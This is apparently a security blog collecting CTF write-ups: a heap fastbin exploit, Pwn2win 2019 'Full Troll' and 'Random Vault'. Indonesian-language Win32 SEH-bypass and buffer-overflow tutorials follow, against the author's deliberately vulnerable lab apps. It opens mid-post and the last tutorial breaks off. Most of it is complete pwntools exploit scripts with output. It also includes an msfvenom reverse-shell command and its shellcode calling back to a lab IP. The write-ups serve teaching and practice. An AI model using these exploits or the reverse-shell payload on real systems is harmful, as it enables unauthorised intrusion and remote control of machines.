 0x55cadc53e090:	0x0000000000000000	0x000055cadc53e0f0 # leak heap_base
 0x55cadc53e0a0:	0xffffffffffffffff	0x0000000000000000
 0x55cadc53e0b0:	0x000055cadc53e100	0x0000000000000000
 0x55cadc53e0c0:	0x0000000000000000	0x0000000000000000
 0x55cadc53e0d0:	0x00000000ffffffff	0x0000000000000000
 0x55cadc53e0e0:	0x0000000000000000	0x00007fd6b90d26e0
 0x55cadc53e0f0:	0x0000000000000000	0x0000000000000000

 pwndbg> x/40gx 0x55cadc53e000 + 0x200
 0x55cadc53e200:	0x0000000000000000	0x0000000000000000
 0x55cadc53e210:	0x0000000000000000	0x0000000000000000
 0x55cadc53e220:	0x0000000000000000	0x0000000000000000
 0x55cadc53e230:	0x00007fd6b90d2260	0x0000000000020dd1
 0x55cadc53e240:	0xf12516d8ca2e81b4	0x7e8b57554cc982e8
 0x55cadc53e250:	0xd692ccd79c247472	0x5004aee0dc637fc0
 0x55cadc53e260:	0x2c0400e06b223061	0x9c6b2b8d65e498ee
 0x55cadc53e270:	0x6f0e916c6c516f47	0x60dd7ea4d53a72de # leak heap_canary
 0x55cadc53e280:	0xd671437e9d5484b3	0x9e74ed4d0647b99c
 0x55cadc53e290:	0x6b7d8ba7e5cffd57	0xf0d7263adb25d3cd
 0x55cadc53e2a0:	0x3da1c028bde478f0	0xd42751adc0d8454c
 0x55cadc53e2b0:	0xa0024ff9bdfd0f8d	0x8dae4dcbdc733df8
 0x55cadc53e2c0:	0xa0b11197ff8da820	0xe2b9cf092ff1149b
 0x55cadc53e2d0:	0xcd52b1a42921b577	0xab0c51edf9703e49
 0x55cadc53e2e0:	0x33ff1298e2cd6628	0x201acdcc046bcda9

After leaking the heap_canary, we can bypass overflow checker by using function edit in securalloc binary. There isn’t any buffer’s length checking so we can just insert any data. Stop it by entering \n (newline).

 int edit_C1A() // securalloc.elf
 {
 printf("Data: ");
 fn_read_B1A(ptr_malloc_202050);
 return puts("Updated!");
 }

 _BYTE *__fastcall fn_read_B1A(_BYTE *buffer) // securalloc.elf
 {
 _BYTE *buf;

 for ( buf = buffer; ; ++buf )
 {
     if ( !read(0, buf, 1uLL) )
     exit(1);
     if ( *buf == '\n' )
     break;
 }
 *buf = 0;
 return (buf - buffer);
 }

Exploitation’s scenario

Leaking libc_base, heap_base, and heap_canary.
Using fastbin attack and overwriting __malloc_hook pointer.
Get one gadget RCE.

Exploitation

Helpers

For the sake of tidy script.

r = process("./securalloc.elf", aslr=1)
l = ELF("./libc.so.6", checksec=False)
#gdb.attach(r)

def create(r, l):
    r.sendlineafter("> ", "1")
    r.sendlineafter("Size: ", l.__str__())

def edit(r, c):
    r.sendlineafter("> ", "2")
    r.sendlineafter("Data: ", c)

def show(r):
    r.sendlineafter("> ", "3")
    r.recvuntil("Data: ")

def free(r):
    r.sendlineafter("> ", "4")

path_to_libc = 'libc.so.6'
ogt = []
for offset in generate_one_gadget(path_to_libc):
    ogt.append(offset)

Stage 1. Leaking some information

Using some alignment in creating the chunk, we can easily leak the data we want.

create(r, 0x40)
create(r, 0x8)
show(r)
leak = r.recvline()[:-1:]
leak = leak.ljust(8, "\x00")
l.address = u64(leak)-0x3c5540

create(r, 0x8)
show(r)
leak = r.recvline()[:-1:]
leak = leak.ljust(8, "\x00")
heap_base = u64(leak)-0xf0

for i in range(7):
    create(r, 0x20)
create(r, 0x8)

show(r)
leak = r.recvline()[:-1:]
leak = leak.ljust(8, "\x00")
canary = u64(leak) & 0xffffffffffffff00

Stage 2. Fastbin attack

To make malloc to return to an arbitrary address is a little bit tricky. malloc checks the size of the chunk that’s pointed by fastbin’s next free chunk, if the size of the next targeted chunk isn’t satisfy n < size < n + 0xf (n is previous chunk’s size) that malloc will return fastbin corruption error. Using technique from Quentinmeffre, we can pad a little bit to achieve arbitrary write to __malloc_hook.

create(r, 0x10)
free(r)
create(r, 0x50)
free(r)
create(r, 0x10)
malloc_hook = l.symbols["__malloc_hook"]
realloc = l.symbols["__libc_realloc"]
one = l.address + ogt[0]
ploadx = p64(0)*2 + p64(canary) + p64(0) + p64(0x71) + p64(malloc_hook - 0x23)
edit(r, ploadx)
create(r, 0x50)
create(r, 0x50)
ploady = "\x00"*3 + p64(one) + p64(realloc+16)
edit(r, ploady)

We overwrite __malloc_hook with realloc+0x10 function because we need to set appropriate parameter for the one gadget function.

Stage 3. Triggering RCE

Simply call malloc to trigger the RCE chain.

create(r, 0x0)

Pwned

❯ python solve.py
[+] Starting local process './securalloc.elf': pid 32328
[*] Stage 1 > Leaking libc_base addr, heap_base addr, and heap_canary value
[+]         > libc_base: 0x7fd6b8d0f000, heap_base: 0x55cadc53e000, heap_canary: 0x60dd7ea4d53a7200
[*] Stage 2 > Fastbin attack
[*] Stage 3 > Triggering RCE
[+] Pwned!
[*] Switching to interactive mode
$ uname -a
Linux fokt 5.0.0-31-generic #33~18.04.1-Ubuntu SMP Tue Oct 1 10:20:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Pwn2win CTF 2019 - Full Troll

Wed, 20 Nov 2019 00:00:00 +0000

Sources

https://github.com/fachrioktavian/ctf-writeup/tree/master/pwn2win19/fulltroll

Summary

This challenge is from pwn2win19 ctf. I didn’t join the ctf. Solve this challenge by scraping for the binary in ctftime and solve it locally.

Overview

The binary is a program which loop asking for password, if we get the right password it will print out the data inside secret.txt. If you think the simple way to solve this challenge is open flag.txt, you wrong :p. As the challenge’s name is full troll, sure it’s full of troll.

❯ ./full_troll
Welcome my friend. Tell me your password.
a
Not even close!

Welcome my friend. Tell me your password.
b
Not even close!

Welcome my friend. Tell me your password.

Binary’ protection:

❯ checksec full_troll
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

The bugs

There is a buffer overflow vulnerability exists on a function that reads user input for variable buf_password as there is no check for buffer length.

 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
 {
     int is_valid;
     char *v5;
     FILE *stream;
     char buf_password;
     char filename;
     unsigned __int64 canary;

     ... snip ...

             while ( 1 )
             {
             puts("Welcome my friend. Tell me your password.");
             fn_read_E5D(stdin, &buf_password); // vuln

     ... snip ...

     return 0LL;
     }
 }

 __int64 __fastcall fn_read_E5D(FILE *stream, __int64 buffer)
 {
     char v3;
     unsigned int i;

     for ( i = 0; ; ++i )
     {
         v3 = fgetc(stream);
         if ( v3 == -1 || v3 == '\n' )
         break;
         *(buffer + i) = v3;
     }
     return i;
 }

Exploitation’s scenario

Reverse engineering program to get password value that it wants
Leaking canary value.
Defeating pie by leaking start address of program in /proc/self/maps.
Leaking libc using puts function
Calling single gadget to call system(“/bin/sh”)

Exploitation

Helper

For cleaner exploit script, we use helper function. I use one gadget to trigger RCE later in stage 5.

def sendpwd(r, cnt):
    r.recv()
    r.sendline(cnt)

r = process("./full_troll", aslr=1)
e = ELF("./full_troll", checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
path_to_libc = '/lib/x86_64-linux-gnu/libc.so.6'
ogt = []
for offset in generate_one_gadget(path_to_libc):
    ogt.append(offset)
#gdb.attach(r, "b *$rebase(0xF4A)")

Stage 1. Reverse engineering password

There is logic function to check password whether it’s right or wrong.

signed __int64 __fastcall check_password_A53(__int64 a1)
{
  if ( strlen(a1) <= 22 )
    return 1LL;
  if ( (*a1 ^ *(a1 + 1)) == 0x3F
    && (*(a1 + 1) ^ *(a1 + 2)) == 0xB
    && (*(a1 + 2) ^ *(a1 + 3)) == 0x27
    && (*(a1 + 3) ^ *(a1 + 4)) == 0x33
    && (*(a1 + 4) ^ *(a1 + 5)) == 0x41
    && (*(a1 + 5) ^ *(a1 + 6)) == 0x4F
    && (*(a1 + 6) ^ *(a1 + 7)) == 0x3B
    && (*(a1 + 7) ^ *(a1 + 8)) == 0x1B
    && (*(a1 + 8) ^ *(a1 + 9)) == 0x21
    && (*(a1 + 9) ^ *(a1 + 10)) == 0x32
    && (*(a1 + 10) ^ *(a1 + 11)) == 0x73
    && (*(a1 + 11) ^ *(a1 + 12)) == 0x79
    && (*(a1 + 12) ^ *(a1 + 13)) == 0x2B
    && (*(a1 + 13) ^ *(a1 + 14)) == 0x3A
    && *(a1 + 14) == *(a1 + 15)
    && (*(a1 + 15) ^ *(a1 + 16)) == 2
    && (*(a1 + 16) ^ *(a1 + 17)) == 0x38
    && (*(a1 + 17) ^ *(a1 + 18)) == 0x1D
    && (*(a1 + 18) ^ *(a1 + 19)) == 3
    && (*(a1 + 19) ^ *(a1 + 20)) == 4
    && (*(a1 + 20) ^ *(a1 + 21)) == 0x49
    && (*(a1 + 21) ^ *(a1 + 22)) == 0x61
    && *(a1 + 22) == 0x58 )
  {
    return 0LL;
  }
  return 2LL;
}

we can reverse it to get the password:

op = [0x3F,0xB,0x27,0x33,0x41,0x4F,0x3B,0x1B,0x21,0x32,0x73,0x79,0x2B,0x3A,2,0x38,0x1D,3,4,0x49,0x61,0x58]
password = []
max = len(op) - 1
password.append(op[max])
for i in range(0, len(op)):
    password.append(password[i] ^ op[max-1])
    max -= 1
d = []
for i in range(0, len(password)):
    d.append(chr(password[len(password)-1 -i]))
real_pwd = "".join(d)
real_pwd = real_pwd[1::]
real_pwd = real_pwd[0:14:] + "P" + real_pwd[14::]

Stage 2. Leaking canary

Later to do ret2libc, we need to bypass canary checking. So we will leak the canary and use it in our exploit.

pad = "B"*8*4
pload_leak_canary = real_pwd.ljust(0x20, "A") + "C"*8 + pad + 'X'
sendpwd(r, pload_leak_canary)
r.recvuntil(pad)
canary = u64(r.recv(8)) - ord('X')

Stage 3. Leaking program base

The binary is protected by several mechanism including PIE that will randomizes base address for program segment in memory. We can overwrite filename variable in stack, make it point to /proc/self/maps and we leak pie base for program. Then we get address of puts’ function, puts’ GOT, pop rdi, ret gadget, and main. We still want to trigger RCE after program’s main’s returned, so make program jump back to main function.

pload_leak_pie = real_pwd.ljust(0x20, "A") + "/proc/self/maps\x00"
sendpwd(r, pload_leak_pie)
p = "0x" + r.recvuntil("-")[:-1:]
e.address = int(p, 16)
puts = e.plt['puts']
got_puts = e.got['puts']
pop_rdi_ret = e.address + 0x10a3 #0x00000000000010a3 : pop rdi ; ret
main = e.address + 0xEAD

Stage 4. Leaking libc base

One gadget rce lies on libc segment,we need to leak libc’s base address. We still want to trigger RCE after program’s main’s returned, so make program jump back to main function.

sc_leak_libc = p64(pop_rdi_ret) + p64(got_puts) + p64(puts) + p64(main)
pload_leak_libc = real_pwd.ljust(0x20, "A") + "C"*8 + pad + p64(canary) + "D"*8 + sc_leak_libc
sendpwd(r, pload_leak_libc)
pload_trigger_main_return = real_pwd.ljust(0x20, "A") + "\x00"*8
sendpwd(r, pload_trigger_main_return)
r.recvuntil("error")
l.address = u64(r.recvline()[:-1:].ljust(8, "\x00")) - l.symbols["puts"]

Stage 4. Triggering RCE

Using all information we have, just a simple poke to get RCE.

sc_call_system = p64(l.address + ogt[1])
pload_rce = real_pwd.ljust(0x20, "A") + "C"*8 + pad + p64(canary) + "D"*8 + sc_call_system
sendpwd(r, pload_rce)
sendpwd(r, pload_trigger_main_return)

Pwned

❯ python solve.py
[+] Starting local process './full_troll': pid 7926
[*] Stage 1 > Get the password
[+]         > password: VibEv7xCXyK8AjPPRjwtp9X
[*] Stage 2 > Leaking canary
[+]         > canary: 0x3fbac4c898134f00
[*] Stage 3 > Leaking program base
[+]         > program base: 0x5566f0372000, puts: 0x5566f0372840, puts GOT: 0x5566f0573f88, pop_rdi_ret gadget: 0x5566f03730a3, main: 0x5566f0372ead
[*] Stage 4 > Leaking libc base
[+]         > libc base: 0x7fbdf1368000, one gadget rce: 0x7fbdf147238c
[*] Stage 5 > Triggering RCE
[+] Pwned!
[*] Switching to interactive mode
$ uname -a
Linux fokt 5.0.0-31-generic #33~18.04.1-Ubuntu SMP Tue Oct 1 10:20:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Pwn2win CTF 2019 - Random Vault

Tue, 19 Nov 2019 00:00:00 +0000

Sources

https://github.com/fachrioktavian/ctf-writeup/tree/master/pwn2win19/randomvault

Summary

This challenge is from pwn2win19 ctf. I didn’t join the ctf. Solve this challenge by scraping for the binary in ctftime and solve it locally.

Overview

So the binary is a program which saves datas. The datas then being store on a memory with random address.

❯ ./random_vault
Welcome to the Vault!
Username: blabla

=== VAULT ===
Hello, blabla

Actions:
1. Change username
2. Store secret
3. Reset vault
4. Quit

2
Secret #1: 1
Secret #2: 2
Secret #3: 3
Secret #4: 4
Secret #5: 5
Secret #6: 6
Secret #7: 7
You've stored the following secrets:
#1: 1, #2: 2, #3: 3, #4: 4, #5: 5, #6: 6, #7: 7
Keep secret? (y/n) y
Ok! Your data is SAFE.

The bugs

There is format string vulnerability exists on a function that’s called to write down username.

 unsigned __int64 __fastcall sub_1412(const char *global_buf)
 {
     unsigned __int64 v1; // ST18_8
     v1 = __readfsqword(0x28u);
     printf("Hello, ");
     sub_12BD(1, 2, 3, 4, 5, 6);
     printf(global_buf, 2LL); // format string
     puts(byte_2056);
     return __readfsqword(0x28u) ^ v1;
 }

Exploitation’s Scenario

For the first time i thing this is just a straightforward format string challenge. Use the bug to leak some information and then overwrite some pointer to gain shell access, but there are some logic that make it hard to solve:

we can only run the format string attack twice. First at the start while program runs, second is when we use change username function.

  if ( qword_4020[a2] == 0x8161412171513111LL ) // check the value
  {
      printf("Username: ");
      fgets(global_buf, 81, stdin);
      global_buf[81] = 0;
      qword_4020[a2] = 0LL; // zeroed buf
  }

username’s buffer spaces are only 80 bytes so can only do arbitrary write approx 12 bytes using %hn format. It’s difficult if we want to do multiple read and write at the same time.

The scenario will be:

Leaking a RWX regions as program places a function pointer and seed for store secret:

 srand(seed);
 for ( i = 0; i <= 6; ++i )
 {
     printf("Secret #%d: ", (i + 1));
     v0 = rand();
     secret_array[i] = ((v0 >> 56) + v0) - ((v0 >> 31) >> 24);
     __isoc99_scanf("%llu", &unk_5010 + 8 * secret_array[i]);
 }

Overwriting seed’s value to specific value so we can control where to store secret. And fortunately secrets are stored in RWX region, so we can execute it if we inject shellcode.
Overwriting function pointer at RWX region so it’s pointing to the our shellcode.

Exploitation

Helper

For cleaner exploit script, we use helper function.

def init(r, cnt):
    r.recv()
    r.sendline(cnt)

def change_username(r, cnt):
    r.recv()
    r.sendline("1")
    r.recv()
    r.sendline(cnt)

def store_secret(r, s):
    r.recv()
    r.sendline("2")
    for d in s:
        r.recv()
        r.sendline(d)

r = process("./random_vault", aslr=1)

Stage 1. Leaking RWX region

Using format string vulnerability to leak the region that has RWX permission.

pload_leak = "%p|"*11
init(r, pload_leak)
d = r.recvuntil("Actions:").split("|")
rwx = int(d[10], 16) + 0x38b0
seed = rwx + 0x8

Stage 2. Calculating address of secret

After overwriting seed’s value to 1 later in stage 3, we can determine where our secret will be stored in memory using dynamic analysis through debugger. Later we will placed our shellcode in the secret variable and chains them with jmp instruction so it connects one another (like a linked-list). So to make the shellcode easier, order of shellcode in secret will be places from the lowest to higher memory.

loc = [0x67, 0xc6, 0x69, 0x73, 0x51, 0xff, 0x4a] # shellcode order will be 7, 5, 1, 3, 4, 2, 6
sc_start = rwx + 0x10
sc_loc = []
for i in loc:
    sc_loc.append(sc_start+(8*i))

Stage 3. Overwriting function pointer and seed value

Using format string vulnerability, overwrite seed’s value to 1 and function pointer to point to start of shellcode (secret no #7).

entry = sc_loc[6] & 0xffff
seed_val = 1
z = "%{}c%29$n|%{}c|%30$hn".format(seed_val.__str__(), (entry-seed_val-2).__str__())
pload_z = z.ljust(40, 'A') + p64(seed) + p64(rwx)
change_username(r, pload_z)

Stage 4. Calculating secret value and storing secret

We build the shellcode to read from stdin and make program run our previous input shellcode from stdin that will call execve(“/bin/sh”).

c = asm(shellcraft.linux.read('rax', 'rdx', 0x5000))

''' disasm(c)
0:   48 89 c7                mov    rdi,rax
3:   31 c0                   xor    eax,eax # ignored
5:   48 89 d6                mov    rsi,rdx
8:   31 d2                   xor    edx,edx
a:   b6 50                   mov    dh,0x50
c:   0f 05                   syscall
'''

sc_7 = c[0:3:] + "\xeb{}".format(chr(sc_loc[4] - sc_loc[6]- 5))
sc_7 = sc_7.ljust(8, "\x00")
sc_5 = c[5:10:] + "\xe9{}".format(chr(sc_loc[0] - sc_loc[4]- 5 - 5))
sc_5 = sc_5.ljust(8, "\x00")
sc_1 = c[0xa:0xe:] + "\xe9{}".format(chr(sc_loc[2] - sc_loc[0]- 5 - 5 - 6))
sc_1 = sc_1.ljust(8, "\x00")
secret = [str(u64(sc_1)), "0", "0", "0", str(u64(sc_5)), "0", str(u64(sc_7))]
store_secret(r, secret)

Stage 5. Sending shellcode

s = asm(shellcraft.linux.sh())
r.sendline("B"*0xf1 + s)

Pwned

❯ python solve.py
[+] Starting local process './random_vault': pid 15280
[*] Stage 1 > Leaking RWX region
[+]         > RWX region address: 0x55d1740e6000, seed address: 0x55d1740e6008
[*] Stage 2 > Calculating address of secret
[*] Stage 3 > Overwriting function pointer and seed value
[*] Stage 4 > Calculating secret value and storing secret
[*] Stage 5 > Sending shellcode
[+] Pwn!
[*] Switching to interactive mode
$ uname -a
Linux fokt 5.0.0-31-generic #33~18.04.1-Ubuntu SMP Tue Oct 1 10:20:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Win32 SEH bypass

Fri, 31 Aug 2018 02:38:50 +0000

Kali ini saya akan membahas tentang sebuah mekanisme proteksi yang dapat menghalangi attacker saat ingin mengontrol register EIP ketika sudah dapat meng-overflow buffer. Mekanisme tersebut adalah Structured Exception Handler (SEH).

SEH

SEH atau Structured Exception Handler adalah sebuah mekanisme yang digunakan untuk menangkap dan meng-handle exception / error yang terjadi saat program berjalan. Jika Anda agak sedikit bingung dengan penjelasannya, ingat block code __try {} __except() {} pada C (link). Program akan menjalankan kode-kode yang ada di dalam blok __try dan ketika program menangkap sebuah error, maka kode di dalam blok __except yang akan dijalankan.

EH untuk proteksi EIP

Ketika sedang melakukan overflow, kita pasti akan mencari kontrol terhadap register EIP. Compiler C pada windows, secara default akan membuat exception handler sendiri sehingga ketika EIP tertimpa, error akan ditangkap dan mengeluarkan info crash (pop up program crash di Windows). Dengan adanya mekanisme tersebut, maka untuk mengoverflow EIP akan lebih sulit karena alur program akan dialihkan ke kode-kode yang berada pada blok __except buatan compiler. Namun ada tehnik yang dapat digunakan untuk membypass mekanisme EH.

Persiapan

Tools yang akan kita gunakan untuk keperluan tutorial ini sama seperti pada artikel sebelumnya. Hanya saja kita akan menggunakan compiler yang berbeda untuk target binarynya. Anda perlu menginstall Visual Studio Build Tools untuk bahasa pemograman C/C++. Kemudian compile source code menggunakan program CL.exe. Instruksi compile nya dapat dilihat di repo github saya. Atau kalau Anda tidak ingin pusing dan ribet compile dll, tinggal execute saja file binary .exe yang saya berikan.

Jalankan program

Buka tool immunity debugger dan jalankan program dvca_bof.exe

Membuat program crash

Seperti pada artikel pertama, kita harus mencari letak vulnerability program dengan cara membuatnya crash. Buatlah script python sperti berikut

First we create python script to trigger program’s vuln.

#!/usr/local/bin/python
#dvca_sehexploit.py

from pwn import *

def terima(p):
 data = p.recv(1024)
 log.info("recv: " + data)
def kirim(p, payload):
 p.sendline(payload)
 log.info("send: "+ payload)

evil = "A"*3000
p = remote('192.168.56.103', 31332)
terima(p)
kirim(p, evil)

Jalankan script dan lihat pada debugger.

Jika dilihat pada bagian register EIP tidak tertimpa oleh karater AAAA sama sekali, namun program crash. Hal tersebut dikarenakan Exception Handler. Pada akhir stack program, compiler meletakkan dua pointer yaitu nSEH dan SEH. Pointer SEH adalah pointer yang mengarah ke routines untuk menghandle ketika error exception terdeteksi oleh program (dalam kasus ini adalah error overflow), sedangkan nSEH adalah pointer yang mengarah ke next SEH atau Exception handler selanjutnya apabila routines pada pointer SEH tidak dapat meng-handle-nya. Jika Anda perhatikan nSEH dan SEH ini akan membentuk sebuah struktur linked-list yang dinamakan SEH chain, gambarannya adalah sebagai berikut:

Pada immunity debugger, untuk melihat SEH chain dapat memilih menu view -> SEH chain. Pada gambar tracing debugger di atas, terlihat SE Handler mengarah ke address 0x41414141 yang tidak terdapat pada region virtual address manapun pada memory yang artinya kita berhasil mengoverflow 4 bit address SEH. Sampai sini kita dapat mengambil simpulan bahwa yang dapat dikontrol bukanlah register EIP melainkan 4 bit nSEH dan 4 bit SEH. Jadi, bagaimana kita mengubah alur program dengan hanya dapat mengontrol 8 bit pointer tersebut?

Bypass SEH

Kita dapat mem-bypass alur exception ini dengan cara meng-overwrite 4 bit nSEH dengan operation code yang mengarahkan program ke shellcode kemudian meng-overwrite 4 bit SEH dengan block code dimana terdapat perintah POP; POP; RET (PPR) di dalamnya. Penjelasannya adalah sebagai berikut:

Ketika overflow terjadi, error access violation akan muncul dan men-trigger exception handler, dengan begitu alur program akan mengarah ke address yang berada di SEH dalam case kali ini berisikan address dari block code PPR
Perintah pop; pop; ret akan mengarahkan register EIP ke 4 bit nSEH. Dalam kasus ini 4 bit nSEH harus berisikan operation code, namun karena tidak ada shellcode yang hanya memiliki panjang 4 bit maka kita harus mencari cara lain agar alur program mencapai shellcode. Caranya yaitu dengan menggunakan opcode jmp <address>. <address> adalah alamat memori dari shellcode.

Mengapa kita tidak menggunakan jmp esp untuk mengganti PPR sehingga alur program akan langsung kembali ke stack dan mengeksekusi shellcode? Jawabannya adalah karena mulai dari Windows XP SP1 terdapat tambahan mekanisme pada proses SEH yaitu ketika exception terjadi, semua value yang ada di register akan di XOR dengan dirinya sendiri sehingga akan menjadi 0x00000000. Jadi jika Anda menggunakan gadget jmp esp maka Anda akan diarahkan ke address 0x00000000.

nSEH dan SEH offset

Sebelum kita melakukan exploitasi SEH, kita harus menemukan offset yang tepat dari pointer nSEH dan SEH. Caranya masih sama seperti pada artikel pertama yaitu menggunakan msf pattern dan !mona findmsp

Terlihat SEH record yang dimulai dari nSEH terdapat pada offset 1104 dan pasti diikuti oleh SEH pada offset 1108.

Mencari PPR dengan mona

Anda tidak perlu pusing mencari PPR, mona secara otomoatis akan mencari gadget PPR di dalam region memori binary maupun dll. cukup menggunakan peritah !mona seh

Banyak gadget PPR dari dvca_sehlib.dll menunjukkan bahwa address ini akan selalu sama ketika dijalankan di komputer lain, sehingga exploit kita menjadi portable. Pada case kali ini saya menggunakan PPR pada address 0x19196530

Jmp to front

Untuk mencari opcode dari jmp <address>, Anda dapat menggunakan debugger untuk live edit instruksi assembly ketika program berjalan. Pertama-tama buat script python seperti sebelumnya dengan mengubah value variabel evil menjadi evil = "A"*1104 + "\xCC"*4 + p32(ppr) dengan ppr = 0x19196530 lalu jalankan script tersebut.

Program akan berhenti pada instruksi \xCC atau program interrupt (int3), hal ini akan memudahkan kita untuk melakukan breakpoint. Selanjutnya edit opcode INT3 menjadi instruksi jmp <address> dengan <address> adalah alamat shellcode atau alamat setelah SEH dimana kita akan menempatkan shellcode disana. Pada case ini saya akan melakukan jmp 0x0145FF1B

Kita dapatkan opcode nya yaitu EB 0D. INT3 yang lain dapat diganti dengan NOP sehingga opcode 4 bit menjadi jfront = 0x90900deb dan kita perlu meletakkan setidaknya 6 bit NOP sebelum shellcode agar shellcode tereksekusi sempurna.

Shellcode + Pwn

Generate shellcode menggunakan msfvenom msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=9876 -b '\x00' -e x86/shikata_ga_nai -f python lalu buat script exploit final.

#!/usr/local/bin/python
#dvca_sehexploit.py

from pwn import *

def terima(p):
 data = p.recv(1024)
 log.info("recv: " + data)
def kirim(p, payload):
 p.sendline(payload)
 log.info("send: "+ payload)

buf =  ""
buf += "\xb8\x46\x74\x2a\x7f\xd9\xd0\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x52\x31\x46\x12\x03\x46\x12\x83\x80\x70\xc8"
buf += "\x8a\xf0\x91\x8e\x75\x08\x62\xef\xfc\xed\x53\x2f\x9a"
buf += "\x66\xc3\x9f\xe8\x2a\xe8\x54\xbc\xde\x7b\x18\x69\xd1"
buf += "\xcc\x97\x4f\xdc\xcd\x84\xac\x7f\x4e\xd7\xe0\x5f\x6f"
buf += "\x18\xf5\x9e\xa8\x45\xf4\xf2\x61\x01\xab\xe2\x06\x5f"
buf += "\x70\x89\x55\x71\xf0\x6e\x2d\x70\xd1\x21\x25\x2b\xf1"
buf += "\xc0\xea\x47\xb8\xda\xef\x62\x72\x51\xdb\x19\x85\xb3"
buf += "\x15\xe1\x2a\xfa\x99\x10\x32\x3b\x1d\xcb\x41\x35\x5d"
buf += "\x76\x52\x82\x1f\xac\xd7\x10\x87\x27\x4f\xfc\x39\xeb"
buf += "\x16\x77\x35\x40\x5c\xdf\x5a\x57\xb1\x54\x66\xdc\x34"
buf += "\xba\xee\xa6\x12\x1e\xaa\x7d\x3a\x07\x16\xd3\x43\x57"
buf += "\xf9\x8c\xe1\x1c\x14\xd8\x9b\x7f\x71\x2d\x96\x7f\x81"
buf += "\x39\xa1\x0c\xb3\xe6\x19\x9a\xff\x6f\x84\x5d\xff\x45"
buf += "\x70\xf1\xfe\x65\x81\xd8\xc4\x32\xd1\x72\xec\x3a\xba"
buf += "\x82\x11\xef\x6d\xd2\xbd\x40\xce\x82\x7d\x31\xa6\xc8"
buf += "\x71\x6e\xd6\xf3\x5b\x07\x7d\x0e\x0c\xe8\x2a\x28\xcd"
buf += "\x80\x28\x48\xeb\xc4\xa4\xae\x99\xf4\xe0\x79\x36\x6c"
buf += "\xa9\xf1\xa7\x71\x67\x7c\xe7\xfa\x84\x81\xa6\x0a\xe0"
buf += "\x91\x5f\xfb\xbf\xcb\xf6\x04\x6a\x63\x94\x97\xf1\x73"
buf += "\xd3\x8b\xad\x24\xb4\x7a\xa4\xa0\x28\x24\x1e\xd6\xb0"
buf += "\xb0\x59\x52\x6f\x01\x67\x5b\xe2\x3d\x43\x4b\x3a\xbd"
buf += "\xcf\x3f\x92\xe8\x99\xe9\x54\x43\x68\x43\x0f\x38\x22"
buf += "\x03\xd6\x72\xf5\x55\xd7\x5e\x83\xb9\x66\x37\xd2\xc6"
buf += "\x47\xdf\xd2\xbf\xb5\x7f\x1c\x6a\x7e\x8f\x57\x36\xd7"
buf += "\x18\x3e\xa3\x65\x45\xc1\x1e\xa9\x70\x42\xaa\x52\x87"
buf += "\x5a\xdf\x57\xc3\xdc\x0c\x2a\x5c\x89\x32\x99\x5d\x98"

shellcode = buf
ppr = 0x19196530
jfront = 0x90900deb
nop = "\x90"*10

evil = "A"*1104 + p32(jfront) + p32(ppr) + nop + shellcode
p = remote('192.168.56.103', 31332)
terima(p)
kirim(p, evil)

Buka msfconsole lalu buat handler untuk menangkap reverse shell, jalankan script exploit final dan pwn!

Metasploit module

Seperti pada artikel sebelumnya, exploit dalam bentuk script python dapat diubah menjadi module metasploit dalam bahasa ruby. Link modulenya sudah saya upload ke github. exploit/windows/DVCA/sbof.rb

Setelah di-copy ke direktori module DVCA, maka Anda dapat menggunakannya di msfconsole

Win32 classic buffer overflow

Wed, 01 Aug 2018 02:38:50 +0000

Sebagai artikel pertama dari blog ini saya akan sedikit berbagi mengenai classic buffer overflow pada sistem Windows x86. Saya akan berasumsi kalau anda sudah lumayan mengerti mengenai Intel x86 Assembly Language dan arsitektur program berformat PE, format executable di dalam sistem Windows. Jika belum amka sebaiknya anda membaca terlebih dahulu. Tidak perlu jago, cukup memahami istilah dan sintax akan sangat membantu dalam mencerna isi dari artikel ini.

Persiapan

Untuk membuat lab research, beberapa tool yang saya gunakan antara lain:

Virtualization Software. Virtualbox atau VMWare.
Microsoft Windows 10 Pro 64 bit sebagai Guest OS. Saya memutuskan untuk menggunakan Windows 10 sebagai target machine karena saat ini OS tersebut yang banyak digunakan oleh banyak orang (khususnya Indonesia) ketimbang versi-versi sebelumnya (XP, 7, dll).
Immunity Debugger. Kita membutuhkan tool ini untuk melakukan debug (debugging) alur program. Install python 2.7 32 bit terlebih dahulu agar Immunity debugger dapat berfungsi dengan baik.
Mona.py. Mona sangat berguna dan membatu kita untuk mencari address tertentu ketika proses develop exploit. Letakkan mona.py pada direktori PyCommand di immunity debugger.
Pvefindaddr.py. Sama seperti mona, pada beberapa kasus pvefindaddr.py akan sangat membantu.
Pattern.py. script ini adalah script untuk men-generate offset sama seperti pada metasploit. Didevelop dalam bahasa pemograman python sehingga anda tidak perlu membuka metasploit.
Metasploit Framework. Framework ini akan digunakan untuk proses develop exploit.
Python and Pwntools package. Sebelum menulis module exploit dalama metasploit, kita dapat menggunakan python scripting untuk melakukan try and error.
Sebagai OS host, anda dapat menggunakan OS apa saja. Yang terpenting adalah anda dapat menginstall metasploit dan pwntools.
Damn Vulnerability CWin32 Apps - Classic Buffer Overflow. Saya telah membuat repository berisikan program bercelah yang akan digunakan sebagai target dalam tutorial ini.

Jalankan program

Buka tool immunity debugger dan jalankan program dvca_bof.exe

Membuat program crash

Pertama kita buat script python untuk mentrigger celah program.

#dvca_bofexploit.py
#!/usr/local/bin/python

from pwn import *

def terima(p):
 data = p.recv(1024)
 log.info("recv: " + data)
def kirim(p, payload):
 p.sendline(payload)
 log.info("send: "+ payload)

evil = "A"*2000
p = remote('192.168.56.103', 31331)
terima(p)
kirim(p, evil)

Jalankan script dan lihat pada debugger.

Kita lihat register EIP berisikan data 0x41414141 yaitu representasi dari karakter AAAA di dalam memori. EIP adalah instruction pointer, sebuah register yang menyimpan alamat dari memori yang akan dieksekusi operation code-nya. Program crash karena pada memori tidak ditemukan alamat 0x41414141.

Mengontrol register EIP

Sekarang kita akan mencari tahu offset dimana tepatnya karakter A kita menimpa isi data dari register EIP. kita dapat menggunakan pattern.py untuk men-generate metasploit pattern. $ pattern.py create 2000 untuk membuat 2000 karakter metasploit.

Kemudian script python menjadi:

